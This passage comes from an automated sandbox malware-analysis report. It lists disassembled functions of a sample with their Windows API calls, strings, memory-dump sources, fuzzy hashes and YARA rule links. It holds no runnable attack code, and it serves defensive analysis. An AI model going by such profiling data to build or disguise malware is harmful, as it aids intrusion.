Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00A2A083,?,?,-000018C0,?,-00002908,00000000,-00000880,?,00000000,?,?,00000000,00A2922F,-00008BE0), ref: 00A2B19C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: aea9a20652ba4c10813a04c314e2cb9fb1f1053e24305d71f030f455d239eaba
Instruction ID: 35abd080334d44ff49fe72dd23526faeec22693c5a709ea08878b547499bf01a
Opcode Fuzzy Hash: aea9a20652ba4c10813a04c314e2cb9fb1f1053e24305d71f030f455d239eaba
Instruction Fuzzy Hash: 7DA01230040009468D001730D90404D3720F7207C531001945006CA0A1C71644478600

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BC19 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00A3BFF6,00A71890,00000000,00A72892,00000006), ref: 00A3BC1D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 02adef0b9c2e422f3abb6df77d066df92a7dab7acebc69079e7a462940aeba4a
Instruction ID: 3dcfba12cf79973c9d746892ab8dcfdcd7450e49385c5ff088f46279f84663f4
Opcode Fuzzy Hash: 02adef0b9c2e422f3abb6df77d066df92a7dab7acebc69079e7a462940aeba4a
Instruction Fuzzy Hash: 3FA0123110020087C2004B719F0550E76657F61601F00C024600080030D73088A0A500

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A3D420 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 233windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A212F6: GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
Part of subcall function 00A212F6: SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00A3D4B1
EndDialog.USER32(?,00000006), ref: 00A3D4C4
GetDlgItem.USER32(?,0000006C), ref: 00A3D4E0
SetFocus.USER32(00000000), ref: 00A3D4E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00A3D521
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00A3D558
FindFirstFileW.KERNEL32(?,?), ref: 00A3D56E

Part of subcall function 00A3BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 00A3BC3F
Part of subcall function 00A3BC2B: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A3BC50
Part of subcall function 00A3BC2B: SystemTimeToFileTime.KERNEL32(?,?), ref: 00A3BC5E
Part of subcall function 00A3BC2B: FileTimeToSystemTime.KERNEL32(?,?), ref: 00A3BC6C
Part of subcall function 00A3BC2B: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00A3BC87
Part of subcall function 00A3BC2B: GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00A3BCAE
Part of subcall function 00A3BC2B: _swprintf.LIBCMT ref: 00A3BCD4

_swprintf.LIBCMT ref: 00A3D5B7

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00A3D5CA
FindClose.KERNEL32(00000000), ref: 00A3D5D1
_swprintf.LIBCMT ref: 00A3D620
SetDlgItemTextW.USER32(?,00000068,?), ref: 00A3D633
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00A3D650
_swprintf.LIBCMT ref: 00A3D683
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00A3D696
_swprintf.LIBCMT ref: 00A3D6E0
SetDlgItemTextW.USER32(?,00000069,?), ref: 00A3D6F3

Part of subcall function 00A3C093: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00A3C0B9
Part of subcall function 00A3C093: GetNumberFormatW.KERNEL32(00000400,00000000,?,00A6072C,?,?), ref: 00A3C108

Strings

%s %s, xrefs: 00A3D5A4, 00A3D5B0, 00A3D616, 00A3D679, 00A3D6D6
REPLACEFILEDLG, xrefs: 00A3D447

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Item$Time$Text$_swprintf$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusInfoLocalLocaleNumberSpecificWindow__vswprintf_c_l
String ID: %s %s$REPLACEFILEDLG
API String ID: 3464475507-439456425
Opcode ID: 7092ac17cde970d214bf5907a1cbeb8208b5a61c749ed7d6b40c6a66e89a20a5
Instruction ID: e81b183b8d0e58c9350c32a43939dd7af819c9127b086dbf8189ce9554db22ff
Opcode Fuzzy Hash: 7092ac17cde970d214bf5907a1cbeb8208b5a61c749ed7d6b40c6a66e89a20a5
Instruction Fuzzy Hash: AE71B572548304BBE331EBB4ED49FFB77ACEB8A700F040829FA49D6091D775A9059762

Uniqueness

Uniqueness Score: -1.00%

Function 00A27AAF Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 337fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A27AB4
_wcslen.LIBCMT ref: 00A27B1D
_wcslen.LIBCMT ref: 00A27B8E

Part of subcall function 00A28704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00A28713
Part of subcall function 00A28704: OpenProcessToken.ADVAPI32(00000000), ref: 00A2871A
Part of subcall function 00A28704: GetLastError.KERNEL32 ref: 00A28759
Part of subcall function 00A28704: CloseHandle.KERNEL32(?), ref: 00A28768

Part of subcall function 00A2B470: DeleteFileW.KERNELBASE(?,00000000,?,00A2A438,?,?,?,?,00A2892B,?,?,?,00A5380F,000000FF), ref: 00A2B481
Part of subcall function 00A2B470: DeleteFileW.KERNEL32(?,?,?,00000800,?,00A2A438,?,?,?,?,00A2892B,?,?,?,00A5380F,000000FF), ref: 00A2B4AF

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00A27C43
CloseHandle.KERNEL32(00000000), ref: 00A27C5F
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00A27DAB

Part of subcall function 00A2B032: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00A27ED0,?,?,?,00000000), ref: 00A2B04C
Part of subcall function 00A2B032: SetFileTime.KERNELBASE(?,?,?,?), ref: 00A2B100

Part of subcall function 00A2A880: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00A2A83D,?,?,?,?,?,00A5380F,000000FF), ref: 00A2A89B

Part of subcall function 00A2B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B8FA
Part of subcall function 00A2B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B92B

Strings

UNC\, xrefs: 00A27B5B
SeRestorePrivilege, xrefs: 00A27ACC
SeCreateSymbolicLinkPrivilege, xrefs: 00A27AD6
\??\, xrefs: 00A27B35

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandleProcess_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationOpenTimeToken
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 1504485742-3508440684
Opcode ID: 092b01afa55759068aa8535b387eafe7917b19e85c65ee94aef8960862258c2e
Instruction ID: ab7c238432d2b662f2cfe29e943b1380dcd378f9304202abf06d33a7051d91f8
Opcode Fuzzy Hash: 092b01afa55759068aa8535b387eafe7917b19e85c65ee94aef8960862258c2e
Instruction Fuzzy Hash: 8AC1E471904264ABDB11DB68DD81FEEB3A8BF04314F104566F546E7282D734AA84CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4EAAE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00A4EBF4

Strings

1#QNAN, xrefs: 00A4FDFA
1#INF, xrefs: 00A4FE01
1#SNAN, xrefs: 00A4FDF3
1#IND, xrefs: 00A4FDEC

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 3f099e5a95b6fb0b7629881655aefe117ee974a172f31e5d738e5961c904df12
Instruction ID: d29f125dee26c52425b36341057708aca647a70da5f45dffe2defdc9d814da96
Opcode Fuzzy Hash: 3f099e5a95b6fb0b7629881655aefe117ee974a172f31e5d738e5961c904df12
Instruction Fuzzy Hash: 3BC23775E086288FDB25CF28DD407EAB7B5EB88315F1551EAD80DE7240E779AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00A2395A Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 666COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A23963
_swprintf.LIBCMT ref: 00A23DC1

Strings

CMT, xrefs: 00A240FC
h%u, xrefs: 00A23DB6
hc%u, xrefs: 00A23E04

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 9700fd7ae40e1176793e5ed2324bad2ccf46e48af2107a3f9fb36650ca61ad67
Instruction ID: abf669a737494707281302f431c87170c4a45ce0a2ec8c1eb06c0fe6ca4212ab
Opcode Fuzzy Hash: 9700fd7ae40e1176793e5ed2324bad2ccf46e48af2107a3f9fb36650ca61ad67
Instruction Fuzzy Hash: 9642F9726053A49FDF24DF38D981BD93BA5AF15300F04457DFC4A8B282DB74AA89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A22EB6 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 804COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A22EBF
_strlen.LIBCMT ref: 00A2348B

Part of subcall function 00A31600: __EH_prolog.LIBCMT ref: 00A31605

Part of subcall function 00A32ED2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00A2CF18,00000000,?,?), ref: 00A32EEE

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A235DD

Strings

CMT, xrefs: 00A23608

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: 99e1da0325f9da59ff5304b05f3395f3d37b13834dd805b15b00a0716a943266
Instruction ID: 2da37e1cee989535d918256c1a066316163dca81abca4fa70a9bd8d523811dcb
Opcode Fuzzy Hash: 99e1da0325f9da59ff5304b05f3395f3d37b13834dd805b15b00a0716a943266
Instruction Fuzzy Hash: 7C6238726042A48FDF29CF3CD9956E93BA1AF16304F08457EFC5A8F282DB749A45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A40A0A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00A40A16
IsDebuggerPresent.KERNEL32 ref: 00A40AE2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A40B02
UnhandledExceptionFilter.KERNEL32(?), ref: 00A40B0C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c76be082387f905a284a749ee197ee8e6c9380e9de10b35f34b9c4f6950cdf37
Instruction ID: e4126d0b78b7857f25a80ba7cac70ae2e3019e3bb66b7b8d22dc22e7ae5bc168
Opcode Fuzzy Hash: c76be082387f905a284a749ee197ee8e6c9380e9de10b35f34b9c4f6950cdf37
Instruction Fuzzy Hash: 4F311A75D053189BDB10DFA4D989BCDBBB8BF08305F1042AAE50DA7250EB715AC59F44

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F82F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00A3F774,0000001C,00A3F969,00000000,?,?,?,?,?,?,?,00A3F774,00000004,00A83D24,00A3F9F9), ref: 00A3F840
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00A3F774,00000004,00A83D24,00A3F9F9), ref: 00A3F85B

Strings

D, xrefs: 00A3F84F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 3cfd1acee8bb802ddff8165b6d7ed23534717faccd6930895cc2d9db00e1c3b3
Instruction ID: 14f6f8b81fb78bc91f59c03b59a0e2e4d78eb8f025e08089b5049c30a5307ae3
Opcode Fuzzy Hash: 3cfd1acee8bb802ddff8165b6d7ed23534717faccd6930895cc2d9db00e1c3b3
Instruction Fuzzy Hash: B501D432A101096BCB18DF69DC05AEE7BE9AFC4329F08C234AD19D7254E634D9428680

Uniqueness

Uniqueness Score: -1.00%

Function 00A44FEF Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00A450E7
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00A450F1
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00A450FE

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 3fa0c49da20ab38c1a413944a58e179e8a511161aca139726d36ab1fdeeb26c7
Instruction ID: 2d08391290ef47166d86daef8bf0a0dff5510a551afc13fc1448e486eff6a0fe
Opcode Fuzzy Hash: 3fa0c49da20ab38c1a413944a58e179e8a511161aca139726d36ab1fdeeb26c7
Instruction Fuzzy Hash: 0031B274D116189BCB21DF68D989B89BBB8BF48311F5042DAE90CA7251E7709BC58F44

Uniqueness

Uniqueness Score: -1.00%

Function 00A4E600 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d08e2bcb8369247a90beecc4ac2937ecc20121a35f50d3dd5c946701bfc99d8e
Instruction ID: 30add4fd59ef5df6212bf56ac3d21e76b81238be50473bec9450b50eb0ad7848
Opcode Fuzzy Hash: d08e2bcb8369247a90beecc4ac2937ecc20121a35f50d3dd5c946701bfc99d8e
Instruction Fuzzy Hash: E9022B75E002199FDF14CFA9C8806ADFBF1FF88324F25816AD919E7385D731AA418B90

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C093 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00A3C0B9
GetNumberFormatW.KERNEL32(00000400,00000000,?,00A6072C,?,?), ref: 00A3C108

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 5bcaca4f340a27315289c114546c8db8554525e13d208e882763155d72a9493b
Instruction ID: 3d23f4739b777a251b9215c455d30fc3f88e107489475b72b4d60f890650568d
Opcode Fuzzy Hash: 5bcaca4f340a27315289c114546c8db8554525e13d208e882763155d72a9493b
Instruction Fuzzy Hash: 24015A75140308BAD710DBE5EC45F9B77BCFF19715F009422FA04A7190E370A956CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A27727 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00A27886,?,00000400), ref: 00A27727
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00A27748

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 5708e9b08af272384d495e2d2ec49ecfb2f63406a550f218db05cd691d4a4692
Instruction ID: e701e42dc198d79b024537fb9a426a5b383473160943f0bb938470a1cc0105ee
Opcode Fuzzy Hash: 5708e9b08af272384d495e2d2ec49ecfb2f63406a550f218db05cd691d4a4692
Instruction Fuzzy Hash: D7D0A731348300BBF6100B706C06F1F3B597B04B42F20C0147709D40E0D6749051A714

Uniqueness

Uniqueness Score: -1.00%

Function 00A52BB4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00A52BAF,?,?,00000008,?,?,00A5284F,00000000), ref: 00A52DE1

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 10aace02d79ae6b9dbff5dcc281427f332ef2e7b8752bf26bacb5aed9edcf29d
Instruction ID: 58071f283f7344e4c8dff09da2ed76f510138994c38bc5c8c94e89a1e233bc47
Opcode Fuzzy Hash: 10aace02d79ae6b9dbff5dcc281427f332ef2e7b8752bf26bacb5aed9edcf29d
Instruction Fuzzy Hash: 43B11D326106099FD715CF28C486B657BF0FF46366F258658EC99CF2A1C335E995CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00A40826 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00A4083C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
